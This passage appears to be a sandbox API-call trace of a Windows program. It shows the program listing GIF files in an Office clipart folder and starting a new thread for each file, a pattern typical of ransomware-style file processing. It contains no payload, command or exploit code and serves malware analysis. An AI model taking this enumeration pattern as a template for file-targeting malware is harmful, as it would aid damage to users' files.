ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0065.848] wcscmp (_String1="J0143746.GIF", _String2=".") returned 1 [0065.848] wcscmp (_String1="J0143746.GIF", _String2="..") returned 1 [0065.848] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43e3b0 [0065.848] wcscpy (in: _Dest=0x43e3b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.848] wcscat (in: _Dest=0x43e3b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.848] wcscat (in: _Dest=0x43e3b0, _Source="J0143746.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" [0065.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ac [0065.849] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0065.849] wcscmp (_String1="J0143748.GIF", _String2=".") returned 1 [0065.849] wcscmp (_String1="J0143748.GIF", _String2="..") returned 1 [0065.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f370 [0065.849] wcscpy (in: _Dest=0x43f370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.850] wcscat (in: _Dest=0x43f370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.850] wcscat (in: _Dest=0x43f370, _Source="J0143748.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" [0065.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b0 [0065.851] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0065.851] wcscmp (_String1="J0143749.GIF", _String2=".") returned 1 [0065.851] wcscmp (_String1="J0143749.GIF", _String2="..") returned 1 [0065.851] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f418 [0065.851] wcscpy (in: _Dest=0x43f418, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.851] wcscat (in: _Dest=0x43f418, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.851] wcscat (in: _Dest=0x43f418, _Source="J0143749.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" [0065.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b4 [0065.856] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0065.856] wcscmp (_String1="J0143750.GIF", _String2=".") returned 1 [0065.857] wcscmp (_String1="J0143750.GIF", _String2="..") returned 1 [0065.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f4c0 [0065.857] wcscpy (in: _Dest=0x43f4c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.857] wcscat (in: _Dest=0x43f4c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.857] wcscat (in: _Dest=0x43f4c0, _Source="J0143750.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" [0065.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b8 [0065.858] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0065.858] wcscmp (_String1="J0143752.GIF", _String2=".") returned 1 [0065.858] wcscmp (_String1="J0143752.GIF", _String2="..") returned 1 [0065.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f568 [0065.858] wcscpy (in: _Dest=0x43f568, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.858] wcscat (in: _Dest=0x43f568, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.858] wcscat (in: _Dest=0x43f568, _Source="J0143752.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" [0065.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16bc [0065.859] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0065.859] wcscmp (_String1="J0143753.GIF", _String2=".") returned 1 [0065.859] wcscmp (_String1="J0143753.GIF", _String2="..") returned 1 [0065.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f610 [0065.859] wcscpy (in: _Dest=0x43f610, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.859] wcscat (in: _Dest=0x43f610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.859] wcscat (in: _Dest=0x43f610, _Source="J0143753.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" [0065.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c0 [0065.861] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0065.861] wcscmp (_String1="J0143754.GIF", _String2=".") returned 1 [0065.861] wcscmp (_String1="J0143754.GIF", _String2="..") returned 1 [0065.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f6b8 [0065.861] wcscpy (in: _Dest=0x43f6b8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.861] wcscat (in: _Dest=0x43f6b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.861] wcscat (in: _Dest=0x43f6b8, _Source="J0143754.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" [0065.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f6b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c4 [0065.862] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0065.862] wcscmp (_String1="J0143758.GIF", _String2=".") returned 1 [0065.862] wcscmp (_String1="J0143758.GIF", _String2="..") returned 1 [0065.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f760 [0065.862] wcscpy (in: _Dest=0x43f760, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.862] wcscat (in: _Dest=0x43f760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.862] wcscat (in: _Dest=0x43f760, _Source="J0143758.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" [0065.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8 [0065.864] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0065.864] wcscmp (_String1="WB00516L.GIF", _String2=".") returned 1 [0065.864] wcscmp (_String1="WB00516L.GIF", _String2="..") returned 1 [0065.864] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb170 [0065.864] wcscpy (in: _Dest=0x12cfb170, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.864] wcscat (in: _Dest=0x12cfb170, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.864] wcscat (in: _Dest=0x12cfb170, _Source="WB00516L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" [0065.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16cc [0065.865] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0065.865] wcscmp (_String1="WB00531L.GIF", _String2=".") returned 1 [0065.865] wcscmp (_String1="WB00531L.GIF", _String2="..") returned 1 [0065.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb218 [0065.865] wcscpy (in: _Dest=0x12cfb218, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.865] wcscat (in: _Dest=0x12cfb218, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.865] wcscat (in: _Dest=0x12cfb218, _Source="WB00531L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" [0065.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d0 [0065.867] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0065.868] wcscmp (_String1="WB00673L.GIF", _String2=".") returned 1 [0065.868] wcscmp (_String1="WB00673L.GIF", _String2="..") returned 1 [0065.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb2c0 [0065.868] wcscpy (in: _Dest=0x12cfb2c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.868] wcscat (in: _Dest=0x12cfb2c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.868] wcscat (in: _Dest=0x12cfb2c0, _Source="WB00673L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" [0065.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d4 [0065.869] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0065.869] wcscmp (_String1="WB00703L.GIF", _String2=".") returned 1 [0065.869] wcscmp (_String1="WB00703L.GIF", _String2="..") returned 1 [0065.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb368 [0065.869] wcscpy (in: _Dest=0x12cfb368, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.869] wcscat (in: _Dest=0x12cfb368, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.869] wcscat (in: _Dest=0x12cfb368, _Source="WB00703L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" [0065.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d8 [0065.870] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0065.870] wcscmp (_String1="WB00760L.GIF", _String2=".") returned 1 [0065.870] wcscmp (_String1="WB00760L.GIF", _String2="..") returned 1 [0065.870] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb410 [0065.870] wcscpy (in: _Dest=0x12cfb410, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.870] wcscat (in: _Dest=0x12cfb410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.870] wcscat (in: _Dest=0x12cfb410, _Source="WB00760L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" [0065.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16dc [0065.872] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0065.872] wcscmp (_String1="WB00780L.GIF", _String2=".") returned 1 [0065.872] wcscmp (_String1="WB00780L.GIF", _String2="..") returned 1 [0065.872] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb4b8 [0065.872] wcscpy (in: _Dest=0x12cfb4b8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.872] wcscat (in: _Dest=0x12cfb4b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.872] wcscat (in: _Dest=0x12cfb4b8, _Source="WB00780L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" [0065.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e0 [0065.873] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0065.873] wcscmp (_String1="WB01741L.GIF", _String2=".") returned 1 [0065.873] wcscmp (_String1="WB01741L.GIF", _String2="..") returned 1 [0065.873] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb560 [0065.873] wcscpy (in: _Dest=0x12cfb560, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.873] wcscat (in: _Dest=0x12cfb560, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.873] wcscat (in: _Dest=0x12cfb560, _Source="WB01741L.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" [0065.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e4 [0065.874] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, 